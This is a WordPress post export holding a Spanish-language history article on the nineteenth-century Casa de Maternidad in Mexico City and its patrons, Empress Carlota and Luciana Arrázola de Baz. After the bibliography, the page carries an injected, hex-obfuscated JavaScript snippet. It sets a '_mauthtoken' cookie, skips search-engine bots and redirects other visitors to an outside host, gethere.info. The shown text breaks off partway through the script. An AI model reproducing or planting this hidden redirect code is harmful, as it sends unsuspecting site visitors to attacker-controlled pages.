﻿{"id":6595,"date":"2016-03-16T12:43:38","date_gmt":"2016-03-16T18:43:38","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=6595"},"modified":"2026-07-16T12:45:05","modified_gmt":"2026-07-16T18:45:05","slug":"las-protectoras-de-la-casa-de-maternidad","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/las-protectoras-de-la-casa-de-maternidad\/","title":{"rendered":"Las protectoras de la Casa de Maternidad"},"content":{"rendered":"<p>Mar\u00eda Elena Crespo Orozco<br \/>\nFacultad de Filosof\u00eda y Letras, UNAM<\/p>\n<h4><span style=\"color: #800000;\">En revista <em>BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam. 28.<\/span><\/h4>\n<p style=\"text-align: center;\"><a href=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2026\/07\/BiC_28_Protectoras.pdf\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"alignnone size-full wp-image-16736\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2022\/12\/BotonPDF2-e1670355523220.png\" alt=\"\" width=\"87\" height=\"44\" \/><\/a><\/p>\n<h3 style=\"text-align: justify;\"><span style=\"color: #008080;\">La emperatriz Carlota y Luciana Arr\u00e1zola de Baz fueron pioneras en transformar la atenci\u00f3n p\u00fablica de las mujeres embarazadas en la Ciudad de M\u00e9xico. Mejoraron la higiene y la atenci\u00f3n, trajeron nuevas normas sanitarias y, sobre todo, ampliaron la cobertura a sectores pobres de la poblaci\u00f3n.<\/span><\/h3>\n<figure id=\"attachment_24032\" aria-describedby=\"caption-attachment-24032\" style=\"width: 614px\" class=\"wp-caption aligncenter\"><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-24032\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_015.jpg\" alt=\"\" width=\"614\" height=\"800\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_015.jpg 614w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_015-230x300.jpg 230w\" sizes=\"(max-width: 614px) 100vw, 614px\" \/><figcaption id=\"caption-attachment-24032\" class=\"wp-caption-text\">Eduardo Pingret, Mujeres poblanas en el interior de un jacal (detalle), ca. 1855, \u00f3leo sobre tela, Museo Nacional de Historia. CONACULTA.- INAH.- M\u00c9X.-<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Durante el siglo XIX en M\u00e9xico, las mujeres no sol\u00edan dar a luz en los hospitales, prime\u00adro porque eran lugares caritativos dedicados a atender a los pobres, y en segundo lugar porque el momento del parto transcurr\u00eda en la privacidad del hogar: en la habitaci\u00f3n de la mujer encinta. Durante esa \u00e9poca, en el momento del alumbramiento eran las par\u00adteras, m\u00e1s que los m\u00e9dicos, quienes asist\u00edan a las mujeres, incluso a aquellas de clase alta, y solo si se complicaba la situaci\u00f3n y la familia ten\u00eda dinero suficiente, solicitaban los servi\u00adcios del m\u00e9dico.<\/p>\n<p style=\"text-align: justify;\">La posibilidad de la muerte materna por una hemorragia o una infecci\u00f3n posparto era com\u00fan. El caso de la condesa de Presa de Xalpa, en 1801, es un ejemplo de ello. Al mo\u00admento del parto recibi\u00f3 una mala atenci\u00f3n, la <i>criatura naci\u00f3 muerta, <\/i>pero ella se qued\u00f3 sin habla tras el alumbramiento, ve\u00eda sin fi\u00adjar la vista, y en vez de atenderla, la dejaron en su cama hasta que muri\u00f3. Por otra par\u00adte, las mujeres ten\u00edan los hijos <i>que Dios les mandase, <\/i>como la esposa del conde Romero de Terreros, el minero novohispano m\u00e1s rico de ese momento, quien se cas\u00f3 a los 46 a\u00f1os con una joven de 23. La mujer se embaraz\u00f3 por lo menos nueve veces en diez a\u00f1os, y vi\u00advi\u00f3 momentos delicados para su salud, hasta que, como consecuencia de un parto, falleci\u00f3.<\/p>\n<figure id=\"attachment_24058\" aria-describedby=\"caption-attachment-24058\" style=\"width: 605px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-24058\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_041.jpg\" alt=\"\" width=\"605\" height=\"800\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_041.jpg 605w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_041-227x300.jpg 227w\" sizes=\"(max-width: 605px) 100vw, 605px\" \/><figcaption id=\"caption-attachment-24058\" class=\"wp-caption-text\">Massage and expression as practised in Mexico, litograf\u00eda en George J. Engelmann, Labor among primitive people, Estados Unidos, J. H. Chambers &amp; Co., 1883.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">El Departamento de Partos Ocultos del Hospicio de Pobres de la ciudad de M\u00e9xico era un lugar que brindaba atenci\u00f3n a algunas mu\u00adjeres embarazadas de la capital. Fue inaugurado en 1806 y continu\u00f3 operando hasta mediados del siglo XIX. Recib\u00eda a mujeres espa\u00f1olas que no pod\u00edan dar a luz en su casa, generalmente porque hab\u00edan concebido un hijo fuera del matrimonio, y deseaban conservar su honor y el de su familia. La instituci\u00f3n les guardaba el anonimato: a su arribo al lugar, cada una entregaba un sobre con sus datos, el cual solo era abierto en caso de muerte para notificar a los familiares. Durante su estancia eran aloja\u00addas en habitaciones aisladas, y se cubr\u00edan con velo desde el ingreso hasta la salida, inclusive durante el parto si as\u00ed lo solicitaban. Final\u00admente, si todo transcurr\u00eda bien, abandonaban el lugar luego de dar a luz y el reci\u00e9n nacido era trasladado a la Casa de Ni\u00f1os Exp\u00f3sitos en caso de que lo pidiesen.<\/p>\n<p style=\"text-align: justify;\">La atenci\u00f3n del Departamento de Partos Ocultos estaba dirigida a una minor\u00eda de la capital y no respond\u00eda a las necesidades de las mujeres pobres de la ciudad, en muchos casos inmigrantes de otras regiones del pa\u00eds, dedicadas al hilado, la costura, la venta de alimentos en las calles o bien que se ganaban la vida como cigarreras, tortilleras, atoleras, nodrizas, lavanderas o sirvientas dom\u00e9sticas. Por su situaci\u00f3n de abandono y pobreza, para ellas resultaba complicado costear las atencio\u00adnes de una partera, ya no se diga los servicios de un m\u00e9dico. Fue el caso de In\u00e9s Alc\u00e1ntara, cuyo hijo naci\u00f3 gracias a la caridad y ayuda de sus vecinas, que le proporcionaron <i>la ropita indispensable <\/i>para envolver a su hijo, porque no dispon\u00eda de recursos.<\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Este panorama caus\u00f3 la preocupaci\u00f3n de los emperadores Maximiliano y Carlota, quienes tomaron medidas al respecto unos meses despu\u00e9s de llegar a M\u00e9xico. En efecto, el 7 de junio de 1865, durante las celebraciones por el cumplea\u00f1os 25 de la emperatriz en Puebla, el emperador emiti\u00f3 el decreto para la fundaci\u00f3n de una Casa de Maternidad en la capital del imperio y nombr\u00f3 a su esposa Protectora de la nueva instituci\u00f3n. Carlota tuvo una\u00a0participaci\u00f3n activa\u00a0en ella como integrante del Consejo General de Beneficencia, encargado de reunir y administrar recursos para las instituciones de beneficencia del pa\u00eds.\u00a0<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La Maternidad fue ubicada en la secci\u00f3n de Partos Ocultos del Hospicio de Pobres, en lo que hoy es la calle de Revillagigedo esquina con la calle de Art\u00edculo 123 en el centro hist\u00f3rico de la ciudad de M\u00e9xico. Mientras el edificio se remodelaba, deseosa de que las mujeres que acud\u00edan a la Maternidad recibieran la mejor atenci\u00f3n, Carlota sigui\u00f3 los consejos del doctor mexicano Manuel S. Soriano e hizo traer de Europa varios maniqu\u00edes para la\u00a0ense\u00f1anza\u00a0as\u00ed como instrumental m\u00e9dico moderno. El presupuesto que el gobierno imperial destin\u00f3 para remodelar el edificio y adquirir el mobiliario m\u00e9dico, as\u00ed como el de la cocina, lavander\u00eda y habitaciones de los empleados, fue insuficiente por lo que la emperatriz busc\u00f3 donaciones econ\u00f3micas de particulares de gran solvencia, entre los que destac\u00f3 el empresario Antonio Escand\u00f3n, quien tambi\u00e9n era miembro del Consejo General de Beneficencia. Para dar a conocer el establecimiento de la nueva Casa de Maternidad, el\u00a0<\/span><i><span data-contrast=\"auto\">Diario del Imperio<\/span><\/i><span data-contrast=\"auto\">\u00a0public\u00f3 durante los meses siguientes un anuncio donde se invitaba a las mujeres a acudir al establecimiento:\u00a0<\/span><i><span data-contrast=\"auto\">La falta de socorros a las mujeres embarazadas cuando nacen sus hijos, es tan fatal a estos como a las\u00a0madres. Para ocurrir a tan urgentes necesidades, S. M. la Emperatriz, siempre atenta al auxilio de los necesitados, se ha servido disponer el establecimiento de una Casa de Maternidad, sita en la primera calle de Revillagigedo, adonde pueden ocurrir las personas interesadas. Lo que de orden de S. M. hace saber al p\u00fablico para que pueda disfrutar de este beneficio\u2026<\/span><\/i><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La Casa de Maternidad fue inaugurada el jueves 7 de junio de 1866 a las 12 del d\u00eda, siendo presidida por Jos\u00e9 Salazar Illarregui, ministro de Gobernaci\u00f3n, el doctor Jos\u00e9 Ferrer Espejo y Antonio Escand\u00f3n. En el discurso que pronunci\u00f3 Salazar Illarregui mencion\u00f3 que la nueva fundaci\u00f3n\u00a0<\/span><i><span data-contrast=\"auto\">se debi\u00f3 al constante anhelo de nuestra Augusta Soberana<\/span><\/i><span data-contrast=\"auto\">. Sobre este acontecimiento la joven emperatriz manifest\u00f3 su sentir en una carta al mismo<\/span><i><span data-contrast=\"auto\">: Celebro que el d\u00eda de mi tercer cumplea\u00f1os pasado entre los mexicanos haya sido para nuestro pa\u00eds el de la inauguraci\u00f3n de un nuevo tramo de ferrocarril y de una desconocida ben\u00e9fica instituci\u00f3n. De esta manera espero envejecer para que mi existencia pueda ser siempre \u00fatil a nuestra patria<\/span><\/i><span data-contrast=\"auto\">.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Poco despu\u00e9s, preocupada por conseguir m\u00e1s recursos para las instituciones de beneficencia, Carlota organiz\u00f3 una rifa de objetos valiosos donados por damas distinguidas y caballeros de su corte, y de entre estos obsequios destacaba una pintura al \u00f3leo realizada por ella misma que representaba la isla de San Jorge en Venecia. La rifa se efectu\u00f3 el 8 de julio en uno de los salones del Palacio de Miner\u00eda; fue todo un \u00e9xito pues se lograron recaudar 5 357 pesos, de los cuales se destinaron 1 625 para cubrir gastos de la Casa de Maternidad y la compra de material m\u00e9dico.\u00a0<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">A pesar de que no se acostumbraba que las mujeres asistieran a los hospitales a dar a luz, la apertura de la Casa de Maternidad signific\u00f3 una oportunidad para que las embarazadas, sin importar su situaci\u00f3n econ\u00f3mica o social, pudieran ser atendidas a partir del octavo mes en todo el proceso hasta despu\u00e9s del parto.\u00a0Se continu\u00f3 permitiendo que las mujeres ocultaran su identidad y usaran velo. A las f\u00e9minas que as\u00ed lo decidiesen, se les permiti\u00f3 desistirse de sus hijos \u2013los que fueron enviados a la Casa de Exp\u00f3sitos\u2013, sin\u00a0embargo\u00a0estas mujeres ten\u00edan la obligaci\u00f3n de cuidar a sus hijos durante su permanencia en la instituci\u00f3n. Con esto se busc\u00f3 disminuir el abandono infantil.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Respecto a la atenci\u00f3n, las pacientes recib\u00edan tres raciones diarias de comida, las cuales entre otras cosas inclu\u00edan caf\u00e9, sopa, frijoles, un guisado, pan, leche o atole, adem\u00e1s de que pod\u00edan ser visitadas por sus familiares mujeres los jueves y los domingos, mientras que la roper\u00eda estaba surtida para vestir a los pr\u00f3ximos infantes, y, lo m\u00e1s importante, las embarazadas ser\u00edan asistidas por una partera o un m\u00e9dico.\u00a0<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">El apoyo de la emperatriz a los cambios en la Casa de Maternidad durar\u00eda poco tiempo. Al d\u00eda siguiente de efectuarse la rifa que organizara en el Palacio de Miner\u00eda, tuvo que abandonar la ciudad de M\u00e9xico para embarcarse rumbo a Europa, viaje del que nunca regresar\u00eda. Iba a pedir que no cesara su ayuda al emperador franc\u00e9s Napole\u00f3n III, quien para mediados de 1866 ya no estaba dispuesto a seguir otorgando apoyo econ\u00f3mico y militar a Maximiliano. Pero Napole\u00f3n se neg\u00f3, lo mismo que el papa P\u00edo IX, lo cual sumi\u00f3 a Carlota en un abismo oscuro de locura. Sin embargo, la joven de origen belga durante un momento de lucidez record\u00f3 a las madres y ni\u00f1os mexicanos, pues env\u00edo 6 000 pesos para la Casa de Maternidad. Mientras tanto, el imperio se desmoronaba; la facci\u00f3n liberal liderada por el presidente constitucional Benito Ju\u00e1rez iba ganando terreno hasta imponerse, siendo Maximiliano ejecutado en el cerro de las Campa\u00f1as en Quer\u00e9taro el 19 de junio de 1867. Casi un mes despu\u00e9s, el 15 de julio, Ju\u00e1rez con su gabinete entraba a la ciudad de M\u00e9xico.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<h3 style=\"text-align: center;\"><span style=\"color: #008080;\">Continuidad\u00a0<\/span><\/h3>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">\u00bfQu\u00e9 pas\u00f3 con la Casa de Maternidad durante ese periodo? Contin\u00fao funcionando. Cuando Carlota abandon\u00f3 el pa\u00eds en julio de 1866, la Maternidad se qued\u00f3 sin su protectora. Luego, al regreso de los liberales al poder, Francisco Villanueva, que hab\u00eda sido concejal de la Beneficencia durante el imperio, asign\u00f3 a Luciana Arr\u00e1zola de Baz el puesto que hab\u00eda ocupado Carlota. Luciana Baz fue una dama que procur\u00f3 otros establecimientos de la Beneficencia P\u00fablica de la capital como el\u00a0Tecpan\u00a0de Santiago y el Hospicio de Pobres, adem\u00e1s de que fue la esposa del pol\u00edtico liberal y partidario de Ju\u00e1rez, Juan Jos\u00e9 Baz, qui\u00e9n en ese momento asumi\u00f3 el cargo de gobernador de la ciudad de M\u00e9xico. El Ayuntamiento de la ciudad de M\u00e9xico ratific\u00f3 el nombramiento y la nueva\u00a0<\/span><i><span data-contrast=\"auto\">Protectora<\/span><\/i><span data-contrast=\"auto\">\u00a0se esforz\u00f3 por sacar adelante a esta instituci\u00f3n. En el relevo de puestos en la Maternidad, el doctor Ram\u00f3n Pacheco, sobrino de Luciana Baz, sustituy\u00f3 al doctor Jos\u00e9 Ferrer Espejo como director del establecimiento. Mientras que el m\u00e9dico Aniceto Ortega, quien en agosto de 1866 hab\u00eda obtenido la plaza de catedr\u00e1tico de obstetricia en la Escuela de Medicina de M\u00e9xico, ejerci\u00f3 el cargo de profesor de \u201ccl\u00ednica de obstetricia\u201d, tambi\u00e9n conocida como \u201ccl\u00ednica de partos\u201d. Esta secci\u00f3n de la Casa s\u00f3lo funcion\u00f3 durante 1868, pues a Juan Jos\u00e9 Baz le pareci\u00f3 que con tal cl\u00ednica se atentaba\u00a0<\/span><i><span data-contrast=\"auto\">al pudor<\/span><\/i><span data-contrast=\"auto\">\u00a0de las mujeres que asist\u00edan a la Maternidad.<\/span><span data-ccp-props=\"{&quot;201341983&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<figure id=\"attachment_24054\" aria-describedby=\"caption-attachment-24054\" style=\"width: 539px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-24054\" src=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_037.jpg\" alt=\"\" width=\"539\" height=\"800\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_037.jpg 539w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2016\/03\/BiC_28_037-202x300.jpg 202w\" sizes=\"(max-width: 539px) 100vw, 539px\" \/><figcaption id=\"caption-attachment-24054\" class=\"wp-caption-text\">Luciana A. de Baz, ca. 1870. Archivo Cruces y Campa, inv. 454160. SINAFO<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Al momento de cambio de direcci\u00f3n en la Maternidad, el Ayuntamiento de la ciudad de M\u00e9xico otorg\u00f3 1 246 pesos a la instituci\u00f3n, cantidad con la que se finalizaron tareas que el segundo imperio hab\u00eda dejado\u00a0pendientes como la habitaci\u00f3n del director y la reposici\u00f3n de techos. En un nuevo contexto de paz y tranquilidad m\u00e1s mujeres solicitaron los servicios, aunque los recursos siempre eran insuficientes. Para colmo, en septiembre de 1868 hab\u00eda azotado a la Casa de Maternidad una epidemia de fiebre puerperal (infecci\u00f3n com\u00fan tras el alumbramiento causada por la falta de higiene). Era muy poco el espacio que separaba las 24 camas de las pacientes, adem\u00e1s de que entre una y otra nada m\u00e1s hab\u00eda\u00a0<\/span><i><span data-contrast=\"auto\">muros de tela<\/span><\/i><span data-contrast=\"auto\">. Ante esta situaci\u00f3n, el doctor Pacheco determin\u00f3 que era necesario construir habitaciones individuales para alojar a las mujeres durante la cuarentena despu\u00e9s del parto. La se\u00f1ora Baz secund\u00f3 sus prop\u00f3sitos y consigui\u00f3 que el entonces ministro de Gobernaci\u00f3n, Sebasti\u00e1n Lerdo de Tejada, donara a la Maternidad el edificio contiguo, el Asilo de San Carlos, el cual en el proyecto imperial iba a ser una guarder\u00eda donde las mujeres trabajadoras pudieran alojar a sus hijos durante las horas de trabajo.\u00a0Gracias a esta concesi\u00f3n se abrieron siete alcobas que sirvieron para alojar a las mujeres que acababan de dar a luz.\u00a0Adem\u00e1s, se estableci\u00f3 una sala de partos independiente pues anteriormente el comedor era usado para tal fin.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Los esfuerzos de Luciana Baz como protectora de la Casa de Maternidad no concluyeron ah\u00ed; tiempo despu\u00e9s, el doctor Pacheco le solicit\u00f3 la compra de cunas para separar de sus madres a los infantes y as\u00ed evitar que contrajeran alguna infecci\u00f3n, de manera que consigui\u00f3 seis cunas de hierro con sus respectivos\u00a0<\/span><i><span data-contrast=\"auto\">colchoncitos<\/span><\/i><span data-contrast=\"auto\">.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">Como despu\u00e9s de todas estas modificaciones el doctor Pacheco not\u00f3 que a\u00fan quedaba parte del terreno que ocupaba el Asilo de San Carlos para poder erigir ah\u00ed un Hospital de Infancia, comunic\u00f3 su parecer a Luciana Baz, quien de nuevo lo secund\u00f3 hasta ver la realizaci\u00f3n del proyecto. En efecto, la peque\u00f1a sala en el Hospital de San Andr\u00e9s que cumpl\u00eda con la funci\u00f3n de Hospital de Infancia no contaba con el espacio y las condiciones higi\u00e9nicas suficientes. A principios de 1869, la comisi\u00f3n de beneficencia del Ayuntamiento, presidida por Luis Fern\u00e1ndez\u00a0Gallardo, acept\u00f3 la propuesta del doctor Pacheco y determin\u00f3 art\u00edculo que se pasase la secci\u00f3n de ni\u00f1os enfermos del Hospital de San Andr\u00e9s al Asilo de San Carlos. A partir del 2 de abril la nueva secci\u00f3n del Hospital de Maternidad e Infancia dio servicio a los ni\u00f1os menesterosos de la capital. Pocos d\u00edas despu\u00e9s, el joven m\u00e9dico Eduardo\u00a0Lic\u00e9aga\u00a0qued\u00f3 a cargo del Departamento de Ni\u00f1os y posteriormente comenz\u00f3 a ofrecer consultas gratuitas de ocho a nueve de la ma\u00f1ana.\u00a0<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">El dinero que otorgaba el Ayuntamiento al Hospital de Infancia fue siempre insuficiente para costear el mobiliario como las cunas, camas, tinas de ba\u00f1o, juguetes, la ropa y el material m\u00e9dico necesario. De manera que la se\u00f1ora Baz organiz\u00f3 algunas funciones teatrales para recaudar fondos, como la del 30 de abril de 1869 en el Gran Teatro\u00a0Nacional, en que la aclamada Compa\u00f1\u00eda de\u00a0Zarzuela\u00a0de Joaqu\u00edn Gaztambide deleit\u00f3 al p\u00fablico con m\u00fasica de zarzuela y composiciones de Verdi o\u00a0Donizetti.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span data-contrast=\"auto\">La emperatriz Carlota y Luciana Baz fueron figuras clave para el Hospital de Maternidad e Infancia que ofreci\u00f3 sus servicios a mujeres y ni\u00f1os menesterosos de la ciudad de M\u00e9xico hasta inicios del siglo\u00a0<\/span><span data-contrast=\"none\">XX<\/span><span data-contrast=\"auto\">.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<h3><span style=\"color: #000000;\">PARA SABER M\u00c1S<\/span><\/h3>\n<ul>\n<li aria-setsize=\"-1\" data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"2\" data-list-defn-props=\"{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\uf0b7&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}\" data-aria-posinset=\"1\" data-aria-level=\"1\"><span data-contrast=\"auto\">Kicza, John E., \u201cNacimientos, enfermedades y muerte: El destino com\u00fan de ricos y pobres. Familias empresariales y su entorno, 1750- 1850\u201d en\u00a0<\/span><i><span data-contrast=\"auto\">Anne Staples (coord.), Historia de la vida cotidiana en M\u00e9xico. Bienes y vivencias. El siglo\u00a0<\/span><\/i><span data-contrast=\"none\">XIX<\/span><span data-contrast=\"auto\">. M\u00e9xico,\u00a0<\/span><span data-contrast=\"none\">Colmex<\/span><span data-contrast=\"auto\">\/<\/span><span data-contrast=\"none\">FCE<\/span><span data-contrast=\"auto\">, 2005, T. IV<\/span><span data-contrast=\"auto\">. pp. 154-156.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/li>\n<\/ul>\n<ul>\n<li aria-setsize=\"-1\" data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"2\" data-list-defn-props=\"{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\uf0b7&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}\" data-aria-posinset=\"2\" data-aria-level=\"1\"><span data-contrast=\"auto\">Rivera Cambas, Manuel,\u00a0<\/span><i><span data-contrast=\"auto\">M\u00e9xico pintoresco art\u00edstico y monumental: vistas, descripci\u00f3n, an\u00e9cdotas y episodios de los lugares m\u00e1s notables de la capital y de los estados, a\u00fan de las poblaciones cortas, pero de importancia geogr\u00e1fica o hist\u00f3rica: las descripciones contienen datos cient\u00edficos, hist\u00f3ricos y estad\u00edsticos<\/span><\/i><span data-contrast=\"auto\">, M\u00e9xico, Editora Nacional, 1957, T. II<\/span><span data-contrast=\"auto\">, pp. 276-280.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/li>\n<\/ul>\n<ul>\n<li aria-setsize=\"-1\" data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"2\" data-list-defn-props=\"{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\uf0b7&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}\" data-aria-posinset=\"3\" data-aria-level=\"1\"><span data-contrast=\"auto\">\u201cLa partera\u201d, varios autores, en\u00a0<\/span><i><span data-contrast=\"auto\">Los mexicanos pintados por s\u00ed mismos<\/span><\/i><span data-contrast=\"auto\">, [s.p.i.], pp. 266-271.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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El ayer y hoy de M\u00e9xico, n\u00fam. 28. La emperatriz Carlota y Luciana Arr\u00e1zola de Baz fueron pioneras en transformar la atenci\u00f3n p\u00fablica de las mujeres embarazadas en la Ciudad de M\u00e9xico. Mejoraron la higiene y la atenci\u00f3n, trajeron nuevas normas sanitarias y, sobre todo, ampliaron la cobertura a sectores pobres de la poblaci\u00f3n. Durante el siglo XIX en M\u00e9xico, las mujeres no sol\u00edan dar a luz en los hospitales, prime\u00adro porque eran lugares caritativos dedicados a atender a los pobres, y en segundo lugar porque el momento del parto transcurr\u00eda en la privacidad del hogar: en la habitaci\u00f3n de la mujer encinta. Durante esa \u00e9poca, en el momento del alumbramiento eran las par\u00adteras, m\u00e1s que los m\u00e9dicos, quienes asist\u00edan a las mujeres, incluso a aquellas de clase alta, y solo si se complicaba la situaci\u00f3n 